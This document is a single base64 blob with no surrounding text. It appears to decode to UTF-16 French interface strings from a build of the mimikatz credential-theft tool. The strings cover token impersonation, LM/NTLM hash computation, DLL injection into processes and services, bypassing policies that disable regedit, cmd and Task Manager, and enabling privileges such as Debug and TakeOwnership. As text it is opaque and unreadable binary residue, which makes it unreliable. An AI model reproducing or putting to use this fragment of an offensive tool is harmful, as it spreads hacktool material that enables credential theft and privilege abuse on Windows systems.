AAAAAgACoAIABPAHUAdgBlAHIAdAB1AHIAZQAgAGUAbgAgAGwAZQBjAHQAdQByAGUAIABkAHUAIABmAGkAYwBoAGkAZQByACAAJwAAAAAAAAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMQAgADoAIAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMgAgADoAIAAAACAAKgAgAEUAbgAtAHQA6gB0AGUAIAA6ACAAAAAAAAAAIAAqACAATwB1AHYAZQByAHQAdQByAGUAIABlAG4AIADpAGMAcgBpAHQAdQByAGUAIABkAHUAIABmAGkAYwBoAGkAZQByACAAJwAAAHcAYgAAAAAAAAAAACAAKgAgAEQAbwBuAG4A6QBlAHMAIAA6ACAAAAAAAAAAIAAhAD0AIAAAAAAAAAAAAEsATwAgAC0AIABkAGkAZgBmAOkAcgBlAG4AdAAgAGQAZQAgACcAUABJAFQAJwAgADsAIAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABiAGEAcwBpAHEAdQBlAHMAIABzAHUAcgAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpAAAAAAAAAAAAaQBuAGYAbwBzAAAAAAAAAAAAAAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIAB0AHIA6ABzACAAZADpAHQAYQBpAGwAbADpAGUAcwAgAHMAdQByACAAdQBuACAAZgBpAGMAaABpAGUAcgAgAGMAaABpAGYAZgByAOkAAABmAHUAbABsAAAAAAAAAAAARAB1AG0AcAAgAGwAZQBzACAAZABvAG4AbgDpAGUAcwAgAEUARgBTACAAZAAnAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpACAAdgBlAHIAcwAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABiAHIAdQB0AAAAAAB0AG8AcgBhAHcAAAAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACgAcwApACAAZADpAGMAbABhAHIA6QAoAHMAKQAgADoAIAAAAAAAAAAAAE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UAZABGAGkAbABlAFIAYQB3ACAAOgAgAAAAAAAAAAAAIAAqACAASABhAHMAaAAgAGQAdQAgAGMAZQByAHQAaQBmAGkAYwBhAHQAIAA6ACAAAAAAAAAAAAAgACoAIABOAG8AbQAgAHMAaQBtAHAAbABlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACAAKgAgAE4AbwBtACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAIAAtACAATABlAGMAdAB1AHIAZQAgAGQAJwB1AG4AIABiAGwAbwBjACAAZABlACAAOgAgAAAAAAAgADoAAAAAACAAIAAgACAAQwBoAGEAbQBwACAAZABlACAAZABvAG4AbgDpAGUAcwAgAAAAAAAAACAAIAAgACAAIAAqACAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAAAAAACAAIAAgACAAIAAgAC0APgAgAEQAbwBuAG4A6QBlAHMAIAA6ACAAAAAgACAAIAAgACAAIAAtAD4AIABUAGEAaQBsAGwAZQAgACAAOgAgAAAAIAAgACAAIAAgACoAIABGAEUASwAgACgAYwBoAGkAZgBmAHIA6QBlACkAIAA6ACAAAAAAAAAAAAAgACAAIAAgACAAKgAgAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACAAIAAgACAAIAAgAC0APgAgAE4AbwBtACAAYQBmAGYAaQBjAGgA6QAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEUAbQBwAHIAZQBpAG4AdABlACAAIAAgADoAIAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAGgAYQBuAGQAbABlAHMAIABkAHUAIABzAHkAcwB0AOgAbQBlACAAKABwAG8AdQByACAAbABlACAAbQBvAG0AZQBuAHQAIABqAHUAcwB0AGUAIABsAGUAcwAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQB0ACAAdABvAGsAZQBuAHMAKQAAAAAAAABsAGkAcwB0AAAAAAAAAAAARQBzAHMAYQB5AGUAIABkAGUAIABzAHQAbwBwAHAAZQByACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAgAGUAbgAgAHUAdABpAGwAaQBzAGEAbgB0ACAAZAAnAGEAdQB0AHIAZQBzACAAaABhAG4AZABsAGUAcwAAAAAAAABwAHIAbwBjAGUAcwBzAFMAdABvAHAAAABFAHMAcwBhAHkAZQAgAGQAJwBpAG0AcABlAHIAcwBvAG4AYQBsAGkAcwBlAHIAIAB1AG4AIAB0AG8AawBlAG4AIABlAG4AIAB1AHQAaQBsAGkAcwBhAG4AdAAgAGQAJwBhAHUAdAByAGUAcwAgAGgAYQBuAGQAbABlAHMAAAAAAHQAbwBrAGUAbgBJAG0AcABlAHIAcwBvAG4AYQB0AGUAAAAAAAAAAAAAAAAAAAAAAFAAbwBzAGkAdABpAG8AbgBuAGUAIAB1AG4AZQAgAEEAQwBMACAAbgB1AGwAbAAgAHMAdQByACAAZABlAHMAIABIAGEAbgBkAGwAZQBzAAAAbgB1AGwAbABBAGMAbAAAAHQAbwBrAGUAbgAAACAAIAAAAAAAAAAAACAALQA+ACAAAAAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcwB5AHMAdABlAG0AOgA6AGcAZQB0AFMAeQBzAHQAZQBtAEgAYQBuAGQAbABlAHMAIAA7ACAAAAAJAFQAZQByAG0AaQBuAGEAdABlACAAUAByAG8AYwBlAHMAcwAgAC0AIAAAAAAAAAAJAEoAbwBiACAAOgAgAAAASwBPACAAOwAgAAAAAAAAAFQAZQByAG0AaQBuAGEAdABlAEoAbwBiAE8AYgBqAGUAYwB0ACAALQAgAAAAAAAAAEEAcwBzAGkAZwBuAFAAcgBvAGMAZQBzAHMAVABvAEoAbwBiAE8AYgBqAGUAYwB0ACAALQAgAEsATwAgADsAIAAAAAAAAAAAAE50U2V0SW5mb3JtYXRpb25Qcm9jZXNzAG8AawAgACEAIQAAAAAAAABrAG8AIAAtACAASQBtAHAAZQByAHMAbwBuAGEAdABlAEwAbwBnAGcAZQBkAE8AbgBVAHMAZQByACAAOwAgAAAAawBvACAALQAgAG0AbwBkAF8AcwBlAGMAYQBjAGwAOgA6AGUAeABjAGgAYQBuAGcAZQBEAHUAcABUAG8AawBlAG4AIAA7ACAAAAAAAAAAAABOAFUATABMACAAIQAAAAAACQAJAAAAAAAAAAAAAAAAAEgAYQBzAGgAIABMAGEAbgBNAGEAbgBhAGcAZQByACAAKABMAE0AKQAgAGQAJwB1AG4AZQAgAGMAaABhAO4AbgBlACAAZABlACAAYwBhAHIAYQBjAHQA6AByAGUAcwAAAGwAbQAAAAAAAAAAAAAAAABIAGEAcwBoACAATgBUACAATABhAG4ATQBhAG4AZwBlAHIAIAAoAE4AVABMAE0AKQAgAGQAJwB1AG4AZQAgAGMAaABhAO4AbgBlACAAZABlACAAYwBhAHIAYQBjAHQA6AByAGUAcwAAAG4AdABsAG0AAAAAAAAAAAAnACkAIAA9ACAAAAAAAAAATABNACgAJwAAAAAAAAAAAEUAcgByAGUAdQByACAAZABlACAAYwBhAGwAYwB1AGwAIABkAHUAIABoAGEAcwBoACAATABNAAAATgBUAEwATQAoACcAAAAAAEUAcgByAGUAdQByACAAZABlACAAYwBhAGwAYwB1AGwAIABkAHUAIABoAGEAcwBoACAATgBUAEwATQAAAAAAAABJAG4AagBlAGMAdABlACAAdQBuAGUAIABsAGkAYgByAGEAaQByAGkAcgBlACAAYwBvAG0AbQB1AG4AaQBjAGEAbgB0AGUAIABkAGEAbgBzACAAdQBuACAAUABJAEQAAABwAGkAZAAAAAAAAAAAAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAAAAAEkAbgBqAGUAYwB0AGUAIAB1AG4AZQAgAGwAaQBiAHIAYQBpAHIAaQByAGUAIABjAG8AbQBtAHUAbgBpAGMAYQBuAHQAZQAgAGQAYQBuAHMAIAB1AG4AIABzAGUAcgB2AGkAYwBlAAAAKQAuAHQAaAAzADIAUAByAG8AYwBlAHMAcwBJAEQAIAA9ACAAAAAAAFAAUgBPAEMARQBTAFMARQBOAFQAUgBZADMAMgAoAAAAJwAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUAUAByAG8AYwBlAHMAcwBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAAAAAFQAcgBvAHAALAAgAG8AdQAgAHAAYQBzACAAZABlACAAcAByAG8AYwBlAHMAcwB1AHMAIAA6ACAAJwAAAAAAAAApAC4AcwBlAHIAdgBpAGMAZQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAA9ACAAAABTAEUAUgBWAEkAQwBFACgAAAAAAAAAAAApAC4AUwBlAHIAdgBpAGMAZQBTAHQAYQB0AHUAcwBQAHIAbwBjAGUAcwBzAC4AZAB3AFAAcgBvAGMAZQBzAHMASQBkACAAPQAgAAAAAAAAACcAIAA7ACAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAAAAAAAAUwBlAHIAdgBpAGMAZQAgAHUAbgBpAHEAdQBlACAAaQBuAHQAcgBvAHUAdgBhAGIAbABlACAAOgAgACcAAAAAAC4AAAAAAAAAawBpAHcAaQBcAG0AaQBtAGkAawBhAHQAegAAAAAAAAAAAAAAAAAAAEEAdAB0AGUAbgB0AGUAIABkAGUAIABjAG8AbgBuAGUAeABpAG8AbgAgAGQAdQAgAGMAbABpAGUAbgB0AC4ALgAuAAAAAAAAAFMAZQByAHYAZQB1AHIAIABjAG8AbgBuAGUAYwB0AOkAIADgACAAdQBuACAAYwBsAGkAZQBuAHQAIAAhAAAAAABNAGUAcwBzAGEAZwBlACAAZAB1ACAAcAByAG8AYwBlAHMAcwB1AHMAIAA6AAAAAAAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlACAAcAByAGUAbQBpAGUAcgAgAG0AZQBzAHMAYQBnAGUAIAAhACAAOwAgAAAAAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAYwByAOkAZQByACAAdQBuACAAYwBhAG4AYQBsACAAZABlACAAYwBvAG0AbQB1AG4AaQBjAGEAdABpAG8AbgAgACEAIAA7ACAAAAAAAAAAAAAAAEkAbgBqAGUAYwB0AOkAIABzAGEAbgBzACAAYwBvAG0AbQB1AG4AaQBjAGEAdABpAG8AbgAgACgAbABlAGcAYQBjAHkAKQAAAAAAAAAAAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBpAG4AagBlAGMAdABlAHIAIAAhACAAOwAgAAAAAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIAB1AG4AIABjAGEAbgBhAGwAIABkAGUAIABjAG8AbQBtAHUAbgBpAGMAYQB0AG8AbgAgAGUAcwB0ACAAZADpAGoA4AAgAG8AdQB2AGUAcgB0AAAAAAAAAAAAAAAAAAAARgBlAHIAbQBlAHQAdQByAGUAIABkAHUAIABjAGEAbgBhAGwAIABkAGUAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbwBuAAAAAAAAAAAAAABPAGIAdABpAGUAbgB0ACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHMAdQByACAAbABlACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAAAAAAEMAaABhAG0AcAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAgAGMAbwBsAG8AbgBuAGUAcwAAAAAAAAAgAGwAaQBnAG4AZQBzACAAeAAgAAAAAABEAGkAbQBlAG4AcwBpAG8AbgAgACAAIAAgACAAIAAgADoAIAAAAAAATQBpAG4AZQBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZAB1ACAAcABsAGEAdABlAGEAdQAAAAAAAAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZAB1ACAAagBlAHUAAAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAOkAbABlAG0AZQBuAHQAcwAgAGQAZQAgAGwAYQAgAGMAbwBsAG8AbgBuAGUAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIAByAOkAZgDpAHIAZQBuAGMAZQBzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAAAAAAAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAcgDpAGYA6QByAGUAbgBjAGUAcwAgAGQAZQBzACAAYwBvAGwAbwBuAG4AZQBzAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAcgDpAGYA6QByAGUAbgBjAGUAcwAgAGQAZQAgAGwAJwDpAGwAZQBtAGUAbgB0AAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIALgBlAHgAZQAAAEwAYQBuAGMAZQAgAHUAbgAgAOkAZABpAHQAZQB1AHIAIABkAGUAIAByAGUAZwBpAHMAdAByAGUALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAHIAZQBnAGUAZABpAHQAAAAAAAAAAAAAAEwAYQBuAGMAZQAgAHUAbgBlACAAaQBuAHYAaQB0AGUAIABkAGUAIABjAG8AbQBtAGEAbgBkAGUALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAAAAYwBtAGQAAABMAGEAbgBjAGUAIABsAGUAIABnAGUAcwB0AGkAbwBuAG4AYQBpAHIAZQAgAGQAZQAgAHQAYQBjAGgAZQAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByAAAAdABhAHMAawBtAGcAcgAAAEwAYQBuAGMAZQAgAE8AdQB0AGwAbwBvAGsALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAUABzAHQAAAAAAG8AbABwAHMAdAAAAAAAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAAByAGUAZwBlAGQAaQB0AC4AZQB4AGUAAABPSwAAS08AAEUAZABpAHQAZQB1AHIAIABkAGUAIAByAGUAZwBpAHMAdAByAGUAIAA6ACAAAAAAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABJAG4AdgBpAHQAZQAgAGQAZQAgAGMAbwBtAG0AYQBuAGQAZQAgADoAIAAAAAAAAABLAGkAdwBpAEEAbgBkAFQAYQBzAGsATQBnAHIAAAAAAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgAAAAAAdABhAHMAawBtAGcAcgAuAGUAeABlAAAARwBlAHMAdABpAG8AbgBuAGEAaQByAGUAIABkAGUAIAB0AGEAYwBoAGUAcwAgADoAIAAAAAAAAABEaXNhYmxlUHN0AAAAAAAAS2l3aUFuZFBzdAAAAAAAAE8AdQB0AGwAbwBvAGsALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AAABPAHUAdABsAG8AbwBrACAAYQB2AGUAYwAgAFAAUwBUACAAIAAgADoAIAAAAAAAAABvAGwAbQBhAHAAaQAzADIALgBkAGwAbAAAAAAAAAAAAE8AdQB0AGwAbwBvAGsAIABpAG4AdAByAG8AdQB2AGEAYgBsAGUAAABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwAAAAAAAAAXABDAEwAUwBJAEQAAAAAAFMAbwBmAHQAdwBhAHIAZQBcAFcAbwB3ADYANAAzADIATgBvAGQAZQBcAEMAbABhAHMAcwBlAHMAXABDAEwAUwBJAEQAXAAAAFwATABvAGMAYQBsAFMAZQByAHYAZQByADMAMgAAAAAAJyA6IAAAAABSZWdRdWVyeVZhbHVlRXggJwAAAAAAAAAnIG4nZXN0IHBhcyA6IFJFR19TWgAAAABMZSB0eXBlIHJldG91cm7pIHBhciAnAABSZWdPcGVuS2V5RXggJwAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAdwByAGkAdABlAE0AZQBtAG8AcgB5ACAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFAAZQBiACAAAAAAAAAAAABSAGUAcwB1AG0AZQBUAGgAcgBlAGEAZAAgAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZQB4AGUAYwBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAAAAAAAAAABtAG8AZABfAG0AaQBtAGkAawBhAHQAegBfAG4AbwBnAHAAbwA6ADoAZABpAHMAYQBiAGwAZQBTAGkAbQBwAGwAZQAgACgAdQBuAGkAYwBvAGQAZQApACAAVABhAGkAbABsAGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAbwByAGkAZwBpAG4AYQBsACAAZABpAGYAZgDpAHIAZQBuAHQAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABjAGkAYgBsAGUAAAAAAAAAAAAAAAAAbQBvAGQAXwBtAGkAbQBpAGsAYQB0AHoAXwBuAG8AZwBwAG8AOgA6AGQAaQBzAGEAYgBsAGUAUwBpAG0AcABsAGUAIAAoAG4AbwBuAC0AdQBuAGkAYwBvAGQAZQApACAAVABhAGkAbABsAGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAbwByAGkAZwBpAG4AYQBsACAAZABpAGYAZgDpAHIAZQBuAHQAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABjAGkAYgBsAGUAAAAAAEwAaQBzAHQAZQAgAGwAZQBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAAAAAAAAAEEAYwB0AGkAdgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAGUAbgBhAGIAbABlAAAAAAAAAAAAAAAAAFIAZQB0AGkAcgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAHIAZQBtAG8AdgBlAAAAAAAAAAAAAAAAAEQA6QBzAGEAYwB0AGkAdgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAAAAZABpAHMAYQBiAGwAZQAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEQAZQBiAHUAZwAAAAAAAABkAGUAYgB1AGcAAAAAAAAAAAAAAAAAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABTAGUAYwB1AHIAaQB0AHkAAAAAAAAAAABzAGUAYwB1AHIAaQB0AHkAAAAAAAAAAAAAAAAAAAAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAFQAYwBiAAAAdABjAGIAAAAAAAAAAAAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEEAcwBzAGkAZwBuAFAAcgBpAG0AYQByAHkAVABvAGsAZQBuAAAAAABhAHMAcwBpAGcAbgAAAAAARABlAG0AYQBuAGQAZQAgACgAbwB1ACAAZADpAHMAYQBjAHQAaQB2AGUAKQAgAGwAZQAgAHAAcgBpAHYAaQBsAOgAZwBlACAAUwBoAHUAdABkAG8AdwBuAAAAAAAAAAAAcwBoAHUAdABkAG8AdwBuAAAAAAAAAAAAAAAAAAAAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABUAGEAawBlAE8AdwBuAGUAcgBzAGgAaQBwAAAAAAAAAHQAYQBrAGUAbwB3AG4AZQByAAAAAAAAACAAOgAgAAAAIABkAHUAIABwAHIAaQB2AGkAbADoAGcAZQAgADoAIAAAAAAAAAAAACcAQQBDAFQASQBWAEEAVABJAE8ATgAAAGUAIABSAEUAVABSAEEASQBUAAAAAAAAAEQAZQBtAGEAbgBkAGUAIABkAAAAAAAAAEUATgBBAEIATABFAEQAXwBCAFkAXwBEAEUARgBBAFUATABUACAAAABFAE4AQQBCAEwARQBEACAAAAAAAAAAAABSAEUATQBPAFYARQBEACAAAAAAAAAAAABVAFMARQBEAF8ARgBPAFIAXwBBAEMAQwBFAFMAUwAgAAAAAAAAAAAAUgBFAE0ATwBWAEUARAAAAFMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAAAAAAAAAABTAGUAUwBlAGMAdQByAGkAdAB5AFAAcgBpAHYAaQBsAGUAZwBlAAAAUwBlAFQAYwBiAFAAcgBpAHYAaQBsAGUAZwBlAAAAAABTAGUASQBtAHAAZQByAHMAbwBuAGEAdABlAFAAcgBpAHYAaQBsAGUAZwBlAAAAAABTAGUAQQBzAHMAaQBnAG4AUAByAGkAbQBhAHIAeQBUAG8AawBlAG4AUAByAGkAdgBpAGwAZQBnAGUAAAAAAAAAUwBlAFMAaAB1AHQAZABvAHcAbgBQAHIAaQB2AGkAbABlAGcAZQAAAFMAZQBUAGEAawBlAE8AdwBuAGUAcgBzAGgAaQBwAFAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAAAEUAeADpAGMAdQB0AGUAIAB1AG4AIABwAHIAbwBjAGUAcwBzAHUAcwAsACAALwBwAGEAdQBzAGUAZAAgAGUAdAAvAG8AdQAgAC8AcwB1AGQAbwAAAAAAAABzAHQAYQByAHQAAAAAAAAAAAAAAAAAAABTAHUAcwBwAGUAbgBkACAAbAAnAGUAeADpAGMAdQB0AGkAbwBuACAAZAAnAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAABzAHUAcwBwAGUAbgBkAAAAUgBlAHAAcgBlAG4AZAAgAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAAAAAAAAcgBlAHMAdQBtAGUAAAAAAAAAAAAAAAAAUwB0AG8AcABwAGUAIAB1AG4AIAAoAG8AdQAgAHAAbAB1AHMAaQBlAHUAcgBzACkAIABwAHIAbwBjAGUAcwBzAHUAcwAAAAAAcwB0AG8AcAAAAAAAAAAAAAAAAAAAAAAATABpAHMAdABlACAAbABlAHMAIABtAG8AZAB1AGwAZQBzACAAKABwAG8AdQByACAAbABlACAAbQBvAG0AZQBuAHQAIABkAHUAIABQAEkARAAgAGMAbwB1AHIAYQBuAHQAKQAAAAAAAABtAG8AZAB1AGwAZQBzAAAATABpAHMAdABlACAAbABhACAAdABhAGIAbABlACAAZAAnAGEAZAByAGUAcwBzAGEAZwBlAAAAAABpAGEAdAAAACcAAAAAAAAARABlAG0AYQBuAGQAZQAgAGQAJwBlAHgA6QBjAHUAdABpAG8AbgAgAGQAZQAgADoAIAAnAAAAAAAvAHAAYQB1AHMAZQBkAAAALwBz